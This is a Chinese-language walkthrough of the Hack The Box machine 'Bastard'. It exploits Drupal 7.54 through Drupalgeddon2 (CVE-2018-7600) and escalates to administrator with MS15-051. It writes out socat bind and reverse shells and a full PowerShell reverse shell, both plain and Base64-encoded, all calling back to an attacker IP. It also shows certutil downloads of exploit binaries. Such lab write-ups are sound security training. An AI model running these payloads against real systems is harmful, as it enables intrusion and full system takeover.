一、端口扫描
nmap -O -sV -T5 10.10.10.9 -A
二、信息搜集
这里端口扫描太慢太慢了,直接进入网页信息搜集,这个靶机太老了,大概率历史漏洞
老朋友了, Pinkys Palace v3靶机也是这玩意Drupal
根据前面nmap扫描出来了robots.txt,里面有很多目录
在/CHANGELOG.txt会记录这个PinkDrup的版本修复历程
可以知道是Drupal 7.54
直接在浏览器搜索得到历史漏洞
https://github.com/pimps/CVE-2018-7600
这里面有两个,直接用第一个就行CVE-2018-7600
git clone https://github.com/pimps/CVE-2018-7600.git
python3 drupa7-CVE-2018-7600.py http://10.10.10.9/ -c "whoami"
这个太慢了,有更好的方法
三、反弹shell
尝试过的方法
这里是不行的,因为windows机子哪来的socat,做个复习
socat连接
正向shell
kali连接windows机子
#通过CVE远程执行
python3 drupa7-CVE-2018-7600.py http://10.10.10.9/ -c "socat TCP-LISTEN:4488,reuseaddr,fork, EXEC:bash,pty,stderr,setsid,sigint,sane"
-
在目标机器上启动一个监听端口
4488
,并将该端口与bash
绑定。 -
fork
参数确保多个连接可同时处理。 -
pty
分配伪终端,使交互式 Shell 更稳定。
#kali进行连接
socat FILE:`tty`,raw,echo=0 TCP:10.10.10.9:4488
-
攻击者主动连接到目标的
4488
端口,获取完整交互式 Shell。 -
FILE:
tty`` 确保终端属性(如 Ctrl+C)正确处理。
反向shell
windows机子连接kali
python3 drupa7-CVE-2018-7600.py http://10.10.10.9/ -c 'socat tcp-connect:10.10.16.19:5555 exec:"bash -li",pty,stderr,setsid,sigint,sane'
#kali开启监听
socat file:/dev/tty,raw,echo=0 TCP-L:5555
Drupalgeddon 2 漏洞(CVE-2018-7600)
这里是也是针对CVE-2018-7600 | Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE (SA-CORE-2018-002)https://github.com/ruthvikvegunta/Drupalgeddon2
这个是用python写的,后面有一个是用Ruby写的,这个python的有点问题,这里的python的虽然说是小于7.58的,但是人家这个脚本只针对8以上的版本,这个脚本没有针对7版本的,一开始没看懂英文,但是下次遇到8的就可以用
git clone https://github.com/ruthvikvegunta/Drupalgeddon2
cd Drupalgeddon2
python3 drupalgeddon2.py -t http://10.10.10.9/ -l 10.10.16.19 -p 4444
成功的方法
用这个ruby脚本
searchsploit Drupal 7.54
这个是个新机子没有ruby的环境
apt install ruby # Kali/Debian
ruby 44449.rb
可以看到这里报了一个highline的错误
这里我们还要下载一个
这里建议换下源,用阿里云的感觉好一点,但其实也都差不多,换源后更新好重启一下,斯,但还是要个11分钟
wget http://rubygems.org/specs.4.8.gz
#最后gunzip解压
gunzip specs.4.8.gz
#这个specs.4.8.gz直接放在目录就可以了
sudo gem install highline
ruby 44449.rb http://10.10.10.9
成功getshell
四、提权
我们当前用户是 nt authorityiusr
,这是IIS应用程序池使用的内置账户,权限通常较低。 由于权限问题,我们可能无法直接进入当前用户的Desktop目录(因为IUSR账户通常没有用户配置文件目录)
但是这里大概率是因为这个shell有点问题,不可能进不了别的目录,不是权限问题
虽然我们进不去别的目录,但不妨碍我们得到用户的flag,Administrator的flag还是得提权得到
dir /s /b C:Users*.txt
type C:UsersdimitrisDesktopuser.txt
获得靶机信息
systeminfo
使用windows-exploit-suggester.py扫描,但是这个工具确实太老了,有一些找不出来
python2 windows-exploit-suggester.py --database 2025-07-02-mssb.xls --systeminfo systeminfo.txt
这里先建立一个稳定的shell,这个还是有点不稳定,下个东西就寄了
因为目标是windows系统,所以我们要上传windows版本的nc
wget https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip -O nc-win32.zip
unzip nc-win32.zip -d nc-win32
文件里面一个nc,一个nc64,一个32位一个64位,我们用32位的,然后将文件夹的32位nc复制到桌面上
本来打算上传nc,但是仔细想想好像没必要,有点懒,为什么不能让他连我呢
这个挺好用的https://forum.ywhack.com/reverse-shell/
尝试了直接连接
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.16.19",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
上面这个失败了因为在drupalgeddon2的交互式命令行中,某些字符(如'>')可能被过滤或导致命令执行失败,我们需要对命令进行编码或避免使用这些字符。
那么我们就直接Base64呗
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMQA5ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
可以看到我们这里直接断开了,但是我们已经连接成功了,所以说有一个稳定的shell是很重要的,即使我们这个ruby脚本连着连着断了,但是我们已经通过Base64的powershell进行反向shell了,断就断了,但是已经得到了一个稳定的shell,可以随意切换目录,还不会断
Sherlock是一个在Windows下用于本地提权的PowerShell脚本
git clone https://github.com/sherlock-project/sherlock.git
将目录里的Sherlock.ps1复制到桌面
我们这里使用Sherlock.ps1扫描
先开启http服务,再通过windows自带的certutil.exe下载文件
#kali开启http服务
python -m http.server
#windows
certutil.exe -urlcache -split -f http://10.10.16.19:8000/Sherlock.ps1
这个耐心等一下,要一点时间
powershell -ExecutionPolicy Bypass -Command ". .Sherlock.ps1; Find-AllVulns"
最后选择这个MS15-051进行提权
git clone https://github.com/euphrat1ca/ms15-051.git
cp ms15-051/ms15-051/ms15-051/x64/ms15-051.exe ./
certutil.exe -urlcache -split -f http://10.10.16.19:8000/ms15-051.exe
这个程序的使用是./ms15-051.exe 加命令会直接以管理员权限执行
那么我们再次进行反向shell即可
./ms15-051.exe "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMQA5ACIALAA2ADYANgA2ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
这里不要忘了加双引号
直接提权,得到管理员权限
得到flag
看到别的师傅是上传nc,用的php脚本,也可以去试试
原文始发于微信公众号(泷羽Sec-临观):打靶日记 HTB Bastard
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论